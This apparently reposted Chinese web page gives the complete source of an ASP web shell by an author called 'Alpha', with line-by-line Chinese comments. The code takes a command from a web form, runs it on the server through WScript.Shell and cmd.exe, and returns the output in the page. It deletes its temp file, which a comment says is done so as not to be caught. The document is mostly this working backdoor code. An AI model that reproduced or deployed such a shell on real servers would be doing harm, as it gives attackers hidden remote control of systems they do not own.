| 关键词: szTempFile 临时 命令 Alpha 定向 OpenTextFile 文件夹 函数 wshshell oFileSys |
作者:Alpha 执行命令:<br> <% Dim oScript Dim oScriptnet Dim oFileSys, oFile Dim szCMD,szTempFile szCMD=request.form(".cmd") '从输入框得到cmd On Error Resume Next '如果出现错误,直接跳过,防止弹出错误窗口 set oScript=server.createobject("WSCRIPT.SHELL") '建立shell(wshshell)对象 set oFileSys=server.createobject("scripting.filesystemobject") szTempFile="C:\"& oFileSys.GetTempName() 'GetTempName()是fso建立临时文件的一种方法 Call oScript.Run ("cmd.exe /c "& szCMD &">" &szTempFile,0,true) '调用wshshell函数的run来执行命令,并把它重定向到临时文件夹中 set oFile=oFileSys.OpenTextFile(szTempFile,1,False,0) '以读的方式打开临时文件 %> <HTML> <head><title>-Made by alpha-</title></head> <body bgcolor="#C0C0C0" text="#000000"> <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=".CMD" size=45 value="<%= szCMD %>"> <input type=submit value="好了" class=input> </FORM> <PRE> <% On Error Resume Next response.write server.HTMLEncode(oFile.ReadAll) '输出编码后的文件内容 oFile.close '关闭文件 call oFileSys.DeleteFile(szTempFile,True) '防止被抓住所以删除文件 %> </body> </html> |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|